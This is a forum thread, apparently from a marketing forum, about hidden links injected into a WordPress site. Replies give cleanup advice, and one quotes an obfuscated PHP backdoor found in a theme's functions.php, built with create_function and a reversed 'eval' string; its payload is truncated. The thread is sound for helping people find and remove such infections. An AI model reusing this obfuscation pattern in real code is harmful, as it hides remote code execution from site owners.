[HELP!] Hidden external links injected into WP site!

I've got a folder "js_composer" in my plugins folder. Is it legit? I thought it comes with WPBakery Visual Composer.
 
you could download an offline copy of your site, then use an advanced file search to look for one of the links, see what php file they are being posted in. If nothing comes up, then some code is being used somewhere to hide the links in your sites sql database.
 
I used "Search & Replace" plugin to locate those links, but nothing came up. But I think the plugin works only on tables. Don't know how to check php files online. Will download the site and do as you've instructed.
you could download an offline copy of your site, then use an advanced file search to look for one of the links, see what php file they are being posted in. If nothing comes up, then some code is being used somewhere to hide the links in your sites sql database.
 
you'll need this guide to search if your using windows. (The search should work on windows 7 by default, but not sure about others)
 
I might give it a try if you provide me the download link of your theme's folder.
 
i'm just going to my bed, so hopefully a few people can pick things up, depending what you find on that file search.

I'll check back in the morning though. Good luck.
 
Thanks man. :)
i'm just going to my bed, so hopefully a few people can pick things up, depending what you find on that file search.

I'll check back in the morning though. Good luck.
 
lol, you gave him plenty homework then :)

Its something we need a good quality BHW guide for, as it could happen to any of us, and like OP found, its difficult to know what to check, think about first amist your panic thats it happened in the first place.

Cheers Wils.
 
I got a similar problem witha client of mine last week.
Look for functions.php in your template folder and delete the base 64 encoding stuff.
Mine looked like this
PHP:
$wp_user_functions_init = create_function('$a',strrev(';)a$(lave'));
$wp_user_functions_init(strrev(';))"
.
Hope it helps.
 
Checking this out. Thanks.

I got a similar problem witha client of mine last week.
Look for functions.php in your template folder and delete the base 64 encoding stuff.
Mine looked like this
PHP:
$wp_user_functions_init = create_function('$a',strrev(';)a$(lave'));
$wp_user_functions_init(strrev(';))"
.
Hope it helps.
 
Back
Top